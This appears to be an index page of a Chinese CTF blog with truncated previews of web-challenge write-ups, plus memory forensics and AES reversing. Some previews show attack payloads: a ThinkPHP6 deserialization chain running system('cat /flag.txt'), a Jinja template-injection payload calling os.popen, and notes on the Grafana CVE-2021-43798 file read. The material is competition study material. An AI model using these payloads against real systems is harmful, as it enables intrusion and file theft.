忙里偷闲做一道Web题
login_game0x00 源码pwnhub的一道web题目,题目附件中给出源码,项目结构如下 |– login_game |– application.py |– requirements.txt |– config | |– userConfig.yaml |– static |– templates | |– admin.html | |– index.html | |– login.html | |– result.html |– uploads 其中application.py的源码如下 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394from flask import...
CISCN2022 初赛
WebEzpoptp6反序列化链子,网上很多 123456789101112131415161718192021222324252627282930313233343536373839404142<?phpnamespace think\model\concern;trait Attribute{ private $data=['jiang'=>['jiang'=>'cat${IFS}/flag.txt']]; private $withAttr=['jiang'=>['jiang'=>'system']]; protected $json=["jiang"]; protected $jsonAssoc = true;}trait ModelEvent{ protected $withEvent;}namespace...
OtterCTF 内存取证
最近小小的学习了一下内存取证,装环境搞了整整一天,非常麻烦,在阅读相关资料时偶然看到了一篇WriteUp,是关于OtterCTF2018的十三道内存取证题目,用的全部是同一个镜像,考察的知识点非常全面,可以用来熟悉一下volatility的使用,关键是比赛平台居然还开着,正好当作内存取证的一次入门学习 What the password? 123456789101112131415161718┌──(root㉿kali2022)-[~]└─# vol.py -f /root/桌面/OtterCTF.vmem imageinfo Volatility Foundation Volatility Framework 2.6.1INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64,...
PWNHUB 5月公开赛 Web
TemplatePlay 题目主页抓包可以看到一个可疑的js文件,判断了ua头是否为admin,我们可以修改一下ua头,然后访问一下链接,这里的string参数应该就是注入点 先用{{self.__dict__._TemplateReference__context.keys()}}找一下内置函数和内置类,这里有很多可以使用的函数 {{self._TemplateReference__context.url_for.__globals__.os.popen('ls').read()}}可以直接命令执行 find / -iname "fla*"...
AES加密算法逆向分析
AES加密算法介绍高级加密标准(AES,Advanced Encryption Standard)为最常见的对称加密算法,对称加密算法也就是加密和解密用相同的密钥,AES为分组密码,分组密码也就是把明文分成一组一组的,每组长度相等,每次加密一组数据,直到加密完整个明文。在AES标准规范中,分组长度只能是128位,也就是说,每个分组为16个字节(每个字节8位)。密钥的长度可以使用128位、192位或256位。密钥的长度不同,推荐加密轮数也不同,如下表所示: AES加密过程涉及到4种操作:字节代换(SubBytes)、行移位(ShiftRows)、列混合(MixColumns)和轮密钥加(AddRoundKey)。解密过程分别为对应的逆操作。由于每一步操作都是可逆的,按照相反的顺序进行解密即可恢复明文。加解密中每轮的密钥分别由初始密钥扩展得到。算法中16字节的明文、密文和轮密钥都以一个4x4的矩阵表示。 0x01...
春秋杯2022 - Web
Mercy-code1234567891011121314<?phphighlight_file(__FILE__);if ($_POST['cmd']) { $cmd = $_POST['cmd']; if (';' === preg_replace('/[a-z_]+\((?R)?\)/', '', $cmd)) { if (preg_match('/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i', $cmd)) { die('What are you thinking?'); } else { ...
MiniLCTF2022 - Web
0x01 checkin 访问/home提示Only admin can get the secret!,可以猜想本题采取了验证token的方式来判断是否为admin 123456789101112131415161718func HomeController(c *gin.Context) { token, err := c.Cookie("token") if err != nil { c.Redirect(http.StatusFound, "/") } jsonUser, _ := utils.TokenDecrypt(token) user := models.User{} _ = json.Unmarshal([]byte(jsonUser), &user) if user.Name == "admin" { file, _ := os.Open("/flag") defer...
TSCTF 2022 - Web
BabyPHP扫目录发现源码泄露,访问/www.zip 1234567891011121314151617181920upload.php$dst = '/var/www/html/不告诉你';$fileinfo = array($_FILES["file"]["name"],$dst);if (file_exists("$fileinfo[1]/$fileinfo[0]")){ echo $fileinfo[0] . " has already existed :)";}else{ $cat->data=$fileinfo[0]; $cat->upload_check(); move_uploaded_file($_FILES["file"]["tmp_name"],"$fileinfo[1]/$fileinfo[0]"); $msg="file...
XCTF分站赛*CTF2022 - Web
oh-my-grafana Grafana是一款用Go语言开发的开源数据可视化工具,可以做数据监控和数据统计,带有告警功能。本题使用的Grafana版本为8.2.6,存在任意文件读取的漏洞(CVE-2021-43798) 由于本题需要登录,首先考虑能不能读取到grafana.ini,获取用户名和密码在ini文件中搜索得到admin的用户名和密码,成功登录 123456789101112[security]# disable creation of admin user on first start of grafana;disable_initial_admin_creation = false# default admin user, created on startupadmin_user = admin# default admin password, can be changed before first start of grafana, or in profile settingsadmin_password =...
2022DASCTF X SU 三月春季挑战赛 Web部分 WriteUp
ezpop1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768<?phpclass crow{ public $v1; public $v2; function eval() { echo new $this->v1($this->v2); } public function __invoke() { $this->v1->world(); }}class fin{ public $f1; public function __destruct() { echo $this->f1 . '114514'; } public...